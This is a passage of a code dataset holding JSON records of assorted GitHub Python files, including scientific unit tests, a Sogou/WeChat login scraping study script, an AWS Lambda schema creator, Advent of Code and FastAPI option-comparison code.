test_approx_quadrature():\n    dist = cp.Iid(normal(), dim)\n    nodes, weights = cp.generate_quadrature(order, dist, rule=\"C\")\n\n\ndef test_integration():\n    dist = cp.Iid(cp.Normal(), dim)\n    orth, norms = cp.expansion.stieltjes(order, dist, retall=1)\n    gq = cp.generate_quadrature\n    nodes, weights = gq(order, dist, rule=\"C\")\n    vals = np.zeros((len(weights), size))\n    cp.fit_quadrature(orth, nodes, weights, vals, norms=norms)\n\n\ndef test_regression():\n    dist = cp.Iid(cp.Normal(), dim)\n    orth, norms = cp.expansion.stieltjes(order, dist, retall=1)\n    data = dist.sample(samples)\n    vals = np.zeros((samples, size))\n    cp.fit_regression(orth, data, vals)\n\n\ndef test_descriptives():\n    dist = cp.Iid(cp.Normal(), dim)\n    orth = cp.expansion.stieltjes(order, dist)\n    cp.E(orth, dist)\n    cp.Var(orth, dist)\n    cp.Cov(orth, dist)\n","repo_name":"jonathf/chaospy","sub_path":"tests/test_stress.py","file_name":"test_stress.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":417,"dataset":"github-code","pt":"47"}
{"seq_id":"26399088120","text":"from datetime import *\nimport wechatsogou\nfrom docx import Document\nfrom docx.enum.text import WD_PARAGRAPH_ALIGNMENT\nfrom docx.shared import Inches\n\nimport requests\nimport datetime,time,random,re\nimport json\nimport  pandas as pd\nfrom bs4 import BeautifulSoup\nfrom queue import Queue       #线程\nfrom threading import Thread  #线程\nfrom pyquery import PyQuery as pq\nfrom PIL import Image\n\n# # 特定文章爬取\n# def get_articles(headline=True, original=True, timedel=1, add_account=None,url=''):\n#\n#     ws_api = wechatsogou.WechatSogouAPI(captcha_break_time=3)\n#\n#     url='http://mp.weixin.qq.com/profile?src=3&timestamp=1587698474&ver=1&signature=ORCd7eeKinB3Aq1pFv-9KgIKY7*9B7BQnAN-SDDy6bm**Q*GPj4IAuIOhkouWao5xcV7GyQdocV*icyq0-ypMQ=='\n#     html=ws_api.get_article_content(url, del_qqmusic=True, del_mpvoice=True, unlock_callback=None,\n#                         identify_image_callback=None, hosting_callback=None, raw=True)\n#\n#     return html\n#\n#\n#\n# if __name__ == \"__main__\":\n#     html = get_articles(timedel=1)\n#     print(html)\n#\n#     with open('', 'w',encoding='utf-8') as f:\n#         f.write(html)\n\n\n\n# ws_api = wechatsogou.WechatSogouAPI(captcha_break_time=3)\n\n# # 查找公众号\n# infos=ws_api.search_gzh('爱数')\n# for info in infos:\n#     print(info)\n\n\n#获得公众号的详细介绍\n# aishu_url='http://mp.weixin.qq.com/profile?src=3&timestamp=1587704655&ver=1&signature=hoaJwjf9KGoR-CD6263JqRwSaL-tmiYNs04pZWwIEZhtGgeOirTPoMY9RIkHMFIsI2HvCb6GHV53orohmpwzPQ=='\n# a=['爱数','36氪']\n# for c in a:\n#     info=ws_api.get_gzh_info(c)\n#     if '爱数' in info.values():\n#         info=info\n#     else: info={}\n#     print(info)\n\n\n#关键字搜索\n# keys=ws_api.get_sugg('爱数')\n# for key in keys:\n#     print(key)\n\n#搜索和“爱数”这个关键字相关的，公众号文章\n# articles=ws_api.search_article('爱数')\n# print(articles)\n# for article in articles:\n#     print(article)\n\n\n#获得历史文章,搜狗已经悄悄的停用了。\n# his_articles=ws_api.get_gzh_article_by_history('爱数')\n# print(his_articles)\n# for article in his_articles:\n#     print(article)\n\n\n#搜索和“爱数”这个关键字相关的，公众号文章\n# articles=ws_api.get_article_content('爱数')\n# print(articles)\n# for article in articles:\n#     print(article)\n#\n\n\n\n\n\n\n\n\n# class WeChat():\n#     def __init__(self):\n#         self.session = requests.session()\n#         self.session.verify = False\n#\n#\n\nclass sougou_login(object):\n\n    def __init__(self):\n        self.session = requests.session()\n\n        self.token = ''\n        self.headers = {\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',\n            'Host': 'account.sogou.com',\n            'Connection': 'keep-alive',\n            'Referer': 'https://weixin.sogou.com/', }\n\n\n##h获取二维码\n    def get_code(self):\n        url = 'https://open.weixin.qq.com/connect/qrconnect?appid=wx6634d697e8cc0a29&scope=snsapi_login&response_type=code&redirect_uri=https%3A%2F%2Faccount.sogou.com%2Fconnect%2Fcallback%2Fweixin'\n        url_base = 'https://open.weixin.qq.com' #验证码图片\n\n        response = self.session.get(url,headers= self.headers, verify=False)\n        data = response.content.decode('utf-8')\n        soup = BeautifulSoup(data, 'lxml')  # 转换成lxml,可以用bs4解析\n        img_src=soup.select_one('div[class=\"wrp_code\"] img')\n\n        img_link=url_base+img_src.get('src')\n\n        response = requests.session().get(img_link)  #弹出登录二维码\n        with open('image.jpg', 'wb') as f:\n            f.write(response.content)\n        image = Image.open('image.jpg')\n        image.show()\n        print('请使用微信扫描二维码登录:')\n\n    #检查登录结果，status=1代表成功\n    def check_login(self):\n        # while True:\n        time.sleep(15)\n        checkUrl = 'https://lp.open.weixin.qq.com/connect/l/qrconnect?uuid=001m42OEtFn8ga23&_=1589507541224'\n\n\n        checkResponse =  self.session.get(checkUrl, headers= self.headers, verify=False)\n        check = json.loads(checkResponse.text)\n        print (check)\n        print(check[\"status\"])\n\n        return check[\"status\"]\n\n        print('session.cookies:', self.session.cookies)\n        cookieDict = response.cookies.get_dict()\n        print('cookieDict:', cookieDict)\n        cookie = ''\n        for key, value in cookieDict.items():\n            cookie += key + '=' + value + ';'\n        print('cookie:',cookie)\n\n        return  cookie\n\n    cookie=get_code()\n\n    print('cookie:',cookie)\n\n\n\nlogin=sougou_login()\nlogin.get_code()\nprint(\"session.cookies:\", login.session.cookies, '\\n')\n","repo_name":"hudaoling/hudaoling_20200907","sub_path":"auto_login/wechatsogou_study.py","file_name":"wechatsogou_study.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"17558758348","text":"import asyncio\nfrom pyjamas_core.util import Input, Output, Property\nfrom pyjamas_core.supermodel import Supermodel\n\nclass Model(Supermodel):\n    \"\"\"\n        takes something as input and returns it as output the following run\n    \"\"\"\n\n    def __init__(self, uuid, name: str):\n        super(Model, self).__init__(uuid, name)\n\n        self.inputs['to_store'] = Input('To Store')\n        self.outputs['stored'] = Output('Stored')\n\n        self.stored = 0\n    \n    async def func_peri(self, prep_to_peri=None):\n\n        self.set_output('stored',self.stored)\n\n        self.stored = await self.get_input('to_store')","repo_name":"schmocker/Pyjamas","sub_path":"Models/Control/Storage/V1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"2216337882","text":"from typing import List, Union\n\nimport numpy as np\nimport torch\n\nclass MetricsAccumulator:\n    '''\n    Utility class for metrics accumulation and averaging\n    '''\n\n    def __init__(self):\n        self.data = {}\n\n    def reset(self):\n        self.data = {}\n\n    def to_numpy(self, item):\n\n        # Convert torch tensors to numpy\n        if torch.is_tensor(item):\n            return item.detach().cpu().numpy()\n\n        # Converts recursively\n        if isinstance(item, list) or isinstance(item, tuple):\n            new_item = []\n            for current_item in item:\n                new_item.append(self.to_numpy(current_item))\n            new_item = np.stack(new_item, axis=0)\n            return new_item\n\n        return item\n\n    def add(self, key: str, value: Union[np.ndarray, torch.Tensor, List]):\n        '''\n        Adds value to the set of values represented by key\n\n        :param key: The key to associate to the current values\n        :param value: (size, ...) tensor or array with the values to store.\n                      Alternatively arbitrarily nested list of the above\n        :return:\n        '''\n\n        value = self.to_numpy(value)\n\n        if not key in self.data:\n            self.data[key] = []\n\n        self.data[key].append(value)\n\n    def pop(self, key: str, dim=0):\n        '''\n        Obtains a tensor with all the concatenated values corresponding to a key\n        Eliminates the key\n\n        :param key: The key for which to retrieve the values\n        :return: tensor with all the values concatenated along dimension dim\n        '''\n\n        if key not in self.data:\n            raise Exception(f\"Key '{key}' is not presetn\")\n\n        result = np.concatenate(self.data[key], axis=dim)\n        del self.data[key]\n        return result","repo_name":"willi-menapace/PlayableEnvironments","sub_path":"evaluation/metrics/metrics_accumulator.py","file_name":"metrics_accumulator.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"47"}
{"seq_id":"23048929984","text":"import json\nimport os\nimport logging\n\nimport boto3\nfrom bookstore_orm_objects import Base\nfrom bookstore_utils import create_db_engine\nfrom crhelper import CfnResource\n\nlogger = logging.getLogger(__name__)\ncfn_helper = CfnResource(json_logging=False, log_level=\"DEBUG\", boto_level=\"CRITICAL\")\ndb_secret_name = os.getenv('AURORA_DB_SECRET_NAME')\ndb_proxy_endpoint = os.getenv('AURORA_DB_PROXY_ENDPOINT')\nsecrets_client = boto3.client('secretsmanager')\n\n# Get DB credentials from AWS Secrets Manager\ndef get_db_secrets():\n    \"\"\"\n    Return the secret string as a dictionary for secret name SECRET_NAME.\n    \"\"\"\n    secret_response = secrets_client.get_secret_value(SecretId=db_secret_name)\n    secrets = json.loads(secret_response['SecretString'])\n    return secrets\n\n@cfn_helper.create\n@cfn_helper.update\ndef create(event, context):\n    \"\"\"\n    DB Schema creation/update Lambda function entry point\n    \"\"\"\n    global resource_id\n\n    logger.info(f'Retrieving database access information from Secrets Manager\\'s secret: \"{db_secret_name}\"')\n    secrets = get_db_secrets()\n    db_name = secrets['dbname']\n    db_conn_string = f\"postgresql://{secrets['username']}:{secrets['password']}@{db_proxy_endpoint}:{secrets['port']}/{db_name}?sslmode=require\"\n\n    logger.info(f'Creating SQLAlchemy database engine for database: \"{db_name}\"')\n    engine = create_db_engine(db_conn_string)\n\n    logger.info(f'Creating or Updating DB schema for database: \"{db_name}\"')\n    Base.metadata.create_all(engine)\n\n    return f'{db_name}-schema'\n\n@cfn_helper.delete\ndef no_op(event, context):\n    \"\"\"\n    Needed for the custom resource to delete properly.\n    \"\"\"\n    logger.info('No action required when deleting this resource')\n\ndef lambda_handler(event, context):\n    \"\"\"\n    Lambda entry point.\n    \"\"\"\n    cfn_helper(event, context)\n","repo_name":"aws-samples/aws-serverless-app-with-aurora-and-python-sql-alchemy-example","sub_path":"db_schema/db_schema_lambda/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"47"}
{"seq_id":"71663162064","text":"\n# Classes and objects\nclass Stock:\n    def __init__(self, ticker, price):\n        self.ticker = ticker\n        self.price = price\n    def display(self):\n        print(f\"Stock: {self.ticker}, Price: ${self.price}\")\napple = Stock(\"AAPL\", 150)\napple.display()\n\n# Modules and packages (Assuming a module 'example_module' exists)\n# from example_module import example_function\n# example_function()\n\n# Exceptions\ntry:\n    result = 10 / 0\nexcept ZeroDivisionError:\n    print(\"Cannot divide by zero!\")\n","repo_name":"AIM-IT4/Python-For-Quants","sub_path":"advanced_python_concepts.py","file_name":"advanced_python_concepts.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"}
{"seq_id":"25981791255","text":"from spy.core import Instruction\n\n# Add Dead Code Elimination\ndef dce(program):\n    \"Converts unused instructions into NOP\"\n    used_vars = [var for op, var, _ in program if op == Instruction.JNZ] + [0]\n    program2 = []\n    for op, var, val in program:\n        if op in (Instruction.INC, Instruction.DEC, Instruction.JNZ):\n            if var not in used_vars:\n                op, var, val = Instruction.NOP, 0, 0\n        program2.append((op, var, val))\n    return program2\n\n# Add Instruction Reordering\n    # DEC goes *before* INC, because:\n    # dec, dec, dec, inc does: 1 for input x < 4, x - 2 for x >= 4\n    # inc, dec, dec, dec does: 0 for input x < 3, x - 2 for x >= 3 \n\n# Add Instruction Compression\n    # between keypoints (TAGs and JNZs), compress all the INCs and DECs into\n    # single instructions\n    \ndef register_relocation(program):\n    \"Relocates vars to consecutive numbers\"\n    xstack, zstack = [], []\n    program2 = []\n    for op, var, val in program:\n        if var != 0:\n            # reordering\n            stack = xstack if var > 0 else zstack\n            var = abs(var)\n            if var not in stack:\n                stack.append(var)\n            # rewriting\n            var = stack.index(var) + 1\n            if stack is zstack:\n                var = (1 << 15) | var\n        program2.append((op, var, val))\n    return program2\n","repo_name":"pcostesi/spy","sub_path":"spy/optimizations.py","file_name":"optimizations.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"29175450567","text":"import re\nfrom itertools import combinations\n\nimport helpers\n\np = re.compile(r\"mem.(\\d+). = (\\d+)\")\n\n\ndef part01(lines):\n    collection = dict()\n    # current_value = None\n    current_mask = None\n    for line in lines:\n        if line.startswith(\"mask\"):\n            current_mask = list(line.split()[2])\n\n        if line.startswith(\"mem\"):\n            s = p.search(line)\n            mem, val = [int(i) for i in s.groups()]\n            val = list(str(bin(val))[2:])\n            current_value = collection.get(mem, [\"0\"] * 36)\n\n            val = [\"0\"] * (36 - len(val)) + val\n\n            r = []\n            for old, msk, new in zip(\n                reversed(current_value), reversed(current_mask), reversed(val)\n            ):\n                if msk == \"X\":\n                    r.append(new)\n                elif msk == \"1\":\n                    r.append(\"1\")\n                elif msk == \"0\":\n                    r.append(\"0\")\n            r.reverse()\n            collection[mem] = r\n\n    return sum(int(\"\".join(v), 2) for k, v in collection.items())\n\n\ndef part02(lines):\n    collection = dict()\n    current_mask = None\n    for line in lines:\n        if line.startswith(\"mask\"):\n            current_mask = list(line.split()[2])\n\n        if line.startswith(\"mem\"):\n            s = p.search(line)\n            mem, val = [int(i) for i in s.groups()]\n\n            mem = list(str(bin(mem))[2:])\n            mem = [\"0\"] * (36 - len(mem)) + mem\n\n            val = list(str(bin(val))[2:])\n            val = [\"0\"] * (36 - len(val)) + val\n\n            r = []\n            for msk, new in zip(reversed(current_mask), reversed(mem)):\n                if msk == \"X\":\n                    r.append(\"X\")\n                elif msk == \"1\":\n                    r.append(\"1\")\n                elif msk == \"0\":\n                    r.append(new)\n            r.reverse()\n\n            for perm in get_permutations(r):\n                collection[int(\"\".join(perm), 2)] = val\n\n    return sum(int(\"\".join(v), 2) for k, v in collection.items())\n\n\ndef get_permutations(items):\n    perms = []\n\n    num = items.count(\"X\")\n    com = combinations([\"0\", \"1\"] * num, num)\n    for c in set(com):\n\n        count = 0\n        new = []\n        for item in items:\n            if item == \"X\":\n                new.append(c[count])\n                count += 1\n            else:\n                new.append(item)\n        perms.append(new)\n\n    return perms\n\n\ndef run():\n    lines = iter(helpers.get_lines(r\"./data/day_14.txt\"))\n    assert part01(lines) == 12135523360904\n    lines = iter(helpers.get_lines(r\"./data/day_14.txt\"))\n    assert part02(lines) == 2741969047858\n\n\nif __name__ == \"__main__\":\n    run()\n","repo_name":"jasonbrackman/advent_of_code_2020","sub_path":"day_14.py","file_name":"day_14.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3081323456","text":"from xmlrpc.server import SimpleXMLRPCServer\r\nimport sys\r\nimport requests\r\n\r\nname = sys.argv[1]\r\nport = sys.argv[2]\r\n\r\nserver = SimpleXMLRPCServer((\"localhost\", int(port)))\r\nprint(name + \" starting...\")\r\n\r\napi_url = \"https://en.wikipedia.org/w/api.php\"\r\n\r\n\r\ndef find_links(page):\r\n    print(name + \" looking for links on page \" + page)\r\n\r\n    params = {\r\n        \"action\": \"parse\",\r\n        \"page\": page,\r\n        \"format\": \"json\",\r\n        \"prop\": \"links\",\r\n    }\r\n    try:\r\n        json = requests.get(url=api_url, params=params).json()\r\n        links = json[\"parse\"][\"links\"]\r\n\r\n        pages = []\r\n        for link in links:\r\n            pages.append(link[\"*\"])\r\n        return pages\r\n    except Exception as ex:\r\n        print(\"Error while trying to get links: \" + str(ex))\r\n        return False\r\n\r\n\r\nprint(sys.argv[1] + \" started.\")\r\nserver.register_function(find_links, \"find_links\")\r\ntry:\r\n    server.serve_forever()\r\nexcept Exception as ex:\r\n    print(\"Serve_forever exception\")\r\n\r\n\r\n\r\n","repo_name":"jannejjj/wiki-path-finder","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20452485492","text":"from fastapi import FastAPI, Depends\nfrom svo.config.services import get_comparator\nfrom svo.services.comparator import Comparator\nfrom svo.services.models import ComparatorMaxRet, ComparatorData, GenericParams, MaxRetParams\nfrom svo.config.repos import *\nfrom fastapi.middleware.cors import CORSMiddleware\n\n\napp = FastAPI()\n\napp.add_middleware(CORSMiddleware, allow_origins=[\"*\"], allow_credentials=True, allow_methods=[\"*\"],\n                   allow_headers=[\"*\"])\n\n@app.get(\"/companies\")\ndef home():\n    #a = company_get_repo().retrieve_companies_data().to_dict()\n    return company_get_repo().retrieve_companies_data()\n\n\n@app.post(\"/simple-comparator-results\", response_model=ComparatorData)\ndef get_option_stats(params: GenericParams, comparator: Comparator=Depends(get_comparator)):\n    res = comparator.naive_comparator_stats(market_cap=params.market_cap, n_cies=params.nb_comparables,\n                                            back_date=params.back_test_length, maturity=params.maturity,\n                                            tax_rate=params.tax_rate, nom_value=params.nom_value)\n\n    return res\n\n\n@app.post(\"/max-ret-comparator-results\", response_model=ComparatorMaxRet)\ndef get_comparator_max_ret(params: MaxRetParams, comparator: Comparator=Depends(get_comparator)) -> ComparatorMaxRet:\n    res = comparator.comparator_w_max_ret(market_cap=params.market_cap, n_cies=params.nb_comparables,\n                                            back_date=params.back_test_length, maturity=params.maturity,\n                                            tax_rate=params.tax_rate, max_ret=params.ret_threshold, nom_value=params.nom_value)\n    return res\n\nget_option_stats(GenericParams.parse_obj({\n    \"market_cap\": 378933510144,\n    \"maturity\": 10,\n    \"nb_comparables\": 20,\n    \"back_test_length\": 10,\n    \"tax_rate\": 0,\n    \"nom_value\": 10000\n}), get_comparator())\n\n","repo_name":"mrinisami/stockOrOptions","sub_path":"svo/api/option_comparator.py","file_name":"option_comparator.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21341758996","text":"from app.models import User, Quiz\nfrom app import db\n\nFINANCE_ANSWERS = {'Q1':'c', 'Q2':'b', 'Q3':'c'}\nMARKETING_ANSWERS = {'Q1':'a', 'Q2':'d', 'Q3':'d'}\nCHASSIS_ANSWERS = {'Q1':'b', 'Q2':'a', 'Q3':'a'}\nVD_ANSWERS = {'Q1':'d', 'Q2':['a', 'b', 'c', 'd'], 'Q3':['d']}\nPOWERTRAIN_ANSWERS = {'Q1':['a', 'c'], 'Q2':'a', 'Q3':'a'}\n\nFINANCE_MODULE_ANS = {'Q1':'d', 'Q2':'c'}\nMARKETING_MODULE_ANS = {'Q1':'d', 'Q2':'b'}\nCHASSIS_MODULE_ANS = {'Q1':'b', 'Q2':'a'}\nVD_MODULE_ANS = {'Q1':'a', 'Q2':'d'}\nPOWERTRAIN_MODULE_ANS = {'Q1':'a', 'Q2':'d'}\n\n#--------------FUNCTIONS FOR ACCESSING QUIZ DATA------------------\n\ndef get_section_totals(quiz):\n    section_totals = {} \n    section_totals['Finance'] = get_total(quiz.finance, FINANCE_ANSWERS)\n    section_totals['Marketing'] = get_total(quiz.marketing, MARKETING_ANSWERS)\n    section_totals['Chassis'] = get_total(quiz.chassis, CHASSIS_ANSWERS)\n    section_totals['Vehicle Dynamics'] = get_total(quiz.vehicle_dynamics, VD_ANSWERS)\n    section_totals['Powertrain'] = get_total(quiz.powertrain, POWERTRAIN_ANSWERS)\n    return section_totals\n\n\ndef get_proportions(totals):\n    num_marks = sum(totals.values()) or 1\n    percents = {}\n    for k in totals.keys():\n        percents[k] = totals[k] / num_marks * 100\n    return percents\n\n\ndef get_total(section, answers):\n    total = 0\n    for key, val in section.items():\n        if type(val) == list and set(val) == set(answers[key]):\n            total += 1\n        elif type(val) == str and val == answers[key]:\n            total += 1\n    return total\n\n\ndef is_completed(quiz):\n    finance = check_completion(quiz.finance)\n    marketing = check_completion(quiz.marketing)\n    chassis = check_completion(quiz.chassis)\n    vehicle_dynamics = check_completion(quiz.vehicle_dynamics)\n    powertrain = check_completion(quiz.powertrain)\n    return finance and marketing and chassis and vehicle_dynamics and powertrain\n\n\ndef check_completion(section):\n    for k, v in section.items():\n        if v == '':\n            return False\n    return True\n\n\n\n\n","repo_name":"Allenator1/UWAM-Introductory-Website","sub_path":"app/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41907010897","text":"'''\n    Library of helper tools for preprocessing and converting the text data into\n    compatible tensors\n'''\n\n# import all the required stuff\nfrom __future__ import print_function\nimport re\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nimport numpy as np\nimport os # for the metadata file creator function\n\ndef prepare_input_data(table_file_path):\n    '''\n        function for obtaining the appropriate lists of words from the text file\n        implemented by Anindya\n        @param\n        table_file_path => the path pointing to the location of the table file\n        @return\n        field_content_words, field_words, and content_words\n    '''\n    # obtain all the lines from the text file\n    data_lines = open(table_file_path, 'r').readlines()\n\n    # initialize all the lists to empty ones\n    field_content_words = []; field_words = []; content_words = []\n\n    # iterate over each line:\n    for line in data_lines:\n        temp = [] # create an empty array\n        element_list = line.rstrip(\"\\n\").split(\"\\t\")\n        for element in element_list:\n            pair = element.split(\":\")\n\n            '''\n                small modification from Animesh:\n                don't filter out the <none> pairs. Use all the data\n            '''\n\n            pair[0] = re.sub(r'[0-9]+', '', pair[0]).replace(\"_\",\"\")\n            pair[1] = pair[1].split(\" \")\n            for word in pair[1]:\n                temp_word = (pair[0] + \" \" + word)\n                temp.append(temp_word)\n                content_words.append(word)\n                field_words.append(pair[0])\n        field_content_words.append(temp)\n\n    # remove the repeating field names from the list\n    # field_words = list(set(field_words))\n    # don't do this\n\n    # return the so constructed lists\n    return field_content_words, field_words, content_words\n\n\n\ndef prepare_input_labels(nb_file_path, sent_file_path):\n    '''\n        function for concatenating the label sentences in the file according to the numbers.\n        implemented by Animesh\n        @param\n        nb_file_path => the path pointing to the location of the train.nb file\n        sent_file_path => the path pointing to the location of the train.sent file\n        @return\n        aligned_labels_sequences\n    '''\n    # generate lists of numbers and raw label_sentences\n    nums = open(nb_file_path, 'r').readlines(); sents = open(sent_file_path, 'r').readlines()\n\n    # make the nums integers\n    nums = map(int, nums);\n\n    # make sure the number of sentences and the nums match\n    assert sum(nums) == len(sents), \"Length mismatch between the train.nb and train.sent files\"\n\n    # run a simple loop to concatenate sentences belonging to one single training example\n    label_sents = [] # initialize to empty list\n    for num in nums:\n        count = 0; sent = '<start>' # initialize counter and sentence\n        while count < num:\n            sent += ' ' + sents.pop(0).strip(); count += 1\n        # add the sentence to the label_sents list\n        label_sents.append(sent + ' <eos>')\n\n    # return the aligned_labels_sequences\n    return label_sents\n\n\n\ndef prepare_tokenizer(words, max_word_length = None):\n    '''\n        funtion to generate vocabulary of the given list of words\n        implemented by Anindya\n        @param\n        words => the list of words to be tokenized\n    '''\n    # flatten the words list:\n    print(\"flattening the words into a single sequence ... \")\n    flat_words = []; # initialize to empty list\n    for i in range(len(words)):\n        flat_words += words[i]\n        if(i % 10000 == 0):\n            print(\"joined\", i, \"examples\")\n\n    # obtain a tokenizer\n    print(\"\\nmaximum words to work with: \", max_word_length)\n    t = Tokenizer(num_words = max_word_length, filters = '') # don't let keras ignore any words\n    print(\"\\nKeras's tokenizer kicks off ... \")\n    t.fit_on_texts(flat_words)\n    field_dict = dict(); rev_field_dict = dict()\n\n    print(\"\\nbuilding the dict and the rev_dict ... \")\n    if(max_word_length is not None):\n        vals = t.word_index.items()\n        vals = sorted(vals, key=lambda x: x[1])\n        for key,value in vals[:max_word_length - 1]:\n            field_dict[value] = key\n            rev_field_dict[key] = value\n    else:\n        for key,value in t.word_index.items():\n            field_dict[value] = key\n            rev_field_dict[key] = value\n\n\n    ''' Small modification from Animesh\n        # also add the '<unk>' token to the dictionary at 0th position\n    '''\n    field_dict[0] = '<unk>'; rev_field_dict['<unk>'] = 0\n\n\n    print(\"\\nencoding the words using the dictionary ... \")\n    for i in range(len(words)):\n        for j in range(len(words[i])):\n            if(words[i][j] in rev_field_dict):\n                words[i][j] = rev_field_dict[words[i][j]]\n            else:\n                words[i][j] = rev_field_dict['<unk>']\n\n        if(i % 10000 == 0):\n            print(\"encoded\", i, \"examples\")\n\n    vocab_size = len(field_dict)\n    return words, field_dict, rev_field_dict, vocab_size\n\n\ndef group_tokenized_sequences(flat_seq, lengths):\n    '''\n        funtion to group the seqs together to original form after tokenization\n        implemented by Animesh\n        @param\n        flat_seq => flat list of words (in order)\n        lengths => list of lengths of each sequence in the dataset\n        @return => grouped_seq\n    '''\n\n    # check if the lengths and the field_seq and the content_seq lengths are compatible\n    assert sum(lengths) == len(flat_seq), \"Lengths are not compatible\"\n\n    # perform the grouping:\n    grouped_seqs = [] # initialize to empty list\n    for length in lengths:\n        count = 0; temp_grouped_seq = [] # initialize counter and storer list\n        while(count < length):\n            temp_grouped_seq.append(flat_seq.pop(0))\n            count += 1\n\n        # add the so contructed lists to the main groupings\n        grouped_seqs.append(temp_grouped_seq)\n\n    # finally return the so created lists\n    return grouped_seqs\n\n\n# create a function to generate a file for the given dictionary in the .vocab format\ndef create_dot_vocab(save_dict, path):\n    '''\n        Function for creating the Metadata file for the given vocab dict at the specified path\n\n        @params:\n        save_dict = the dictionary object used to create the metadata file\n        path = the path where this dictionary is to be saved\n\n        @return:\n        None\n    '''\n    if(os.path.isfile(path)):\n        print(\"The file already exists: \", path)\n\n    else:\n        with open(path, 'w') as metadatat_file:\n            for (_, value) in save_dict.items():\n                metadatat_file.write(value + \"\\n\")\n        # print a message that the file has been generated after completion\n        print(\"The file has been created at: \", path)\n","repo_name":"akanimax/natural-language-summary-generation-from-structured-data","sub_path":"TensorFlow_implementation/Summary_Generator/Text_Preprocessing_Helpers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6807,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"47"}
{"seq_id":"11967351247","text":"\"\"\"\nUnit tests for various types of solvers for cardiac cell models.\n\"\"\"\n__author__ = \"Marie E. Rognes (meg@simula.no), 2013\"\n__all__ = [\"TestBasicSingleCellSolver\"]\n\n\nimport pytest\nfrom testutils import medium, assert_almost_equal, parametrize\n\ntry:\n    from ufl_legacy.log import info_red, info_green\nexcept ImportError:\n    from ufl.log import info_red, info_green\nfrom cbcbeat import (\n    supported_cell_models,\n    BasicSingleCellSolver,\n    NoCellModel,\n    FitzHughNagumoManual,\n    Tentusscher_2004_mcell,\n    backend,\n)\nfrom dolfin import Expression\n\n\nclass TestBasicSingleCellSolver(object):\n    \"Test functionality for the basic single cell solver.\"\n\n    references = {\n        NoCellModel: {1.0: (0, 0.3), 0.5: (0, 0.2), 0.0: (0, 0.1)},\n        FitzHughNagumoManual: {\n            1.0: (0, -84.70013280019053),\n            0.5: (0, -84.8000503072239979),\n            0.0: (0, -84.9),\n        },\n        Tentusscher_2004_mcell: {\n            1.0: (0, -85.89745525156506),\n            0.5: (0, -85.99686000794499),\n            0.0: (0, -86.09643254164848),\n        },\n    }\n\n    def _run_solve(self, model, time, theta):\n        \"Run two time steps for the given model with the given theta solver.\"\n        dt = 0.01\n        T = 2 * dt\n        interval = (0.0, T)\n\n        # Initialize solver\n        params = BasicSingleCellSolver.default_parameters()\n        params[\"theta\"] = theta\n\n        params[\"enable_adjoint\"] = False\n        solver = BasicSingleCellSolver(model, time, params=params)\n\n        # Assign initial conditions\n        (vs_, vs) = solver.solution_fields()\n        vs_.assign(model.initial_conditions())\n\n        # Solve for a couple of steps\n        solutions = solver.solve(interval, dt)\n        for (t0, t1), vs in solutions:\n            pass\n\n        # Check that we are at the end time\n        assert_almost_equal(t1, T, 1e-10)\n        return vs.vector()\n\n    @medium\n    @parametrize((\"theta\"), [0.0, 0.5, 1.0])\n    def test_default_basic_single_cell_solver(self, cell_model, theta):\n        \"Test basic single cell solver.\"\n        time = backend.Constant(0.0)\n        model = cell_model\n        Model = cell_model.__class__\n\n        if Model == supported_cell_models[3] and theta > 0:\n            pytest.xfail(\"failing configuration (but should work)\")\n\n        model.stimulus = Expression(\"1000*t\", t=time, degree=1)\n\n        info_green(\"\\nTesting %s\" % model)\n        vec_solve = self._run_solve(model, time, theta)\n\n        if Model == supported_cell_models[3] and theta == 0:\n            pytest.xfail(\"failing configuration (but should work)\")\n\n        if Model in self.references and theta in self.references[Model]:\n            ind, ref_value = self.references[Model][theta]\n            print(\"vec_solve\", vec_solve.get_local())\n            print(\"ind\", ind, \"ref\", ref_value)\n\n            assert_almost_equal(vec_solve[ind], ref_value, 1e-10)\n        else:\n            info_red(\"Missing references for %r, %r\" % (Model, theta))\n","repo_name":"ComputationalPhysiology/cbcbeat","sub_path":"test/unit/test_basicsinglecellsolver.py","file_name":"test_basicsinglecellsolver.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
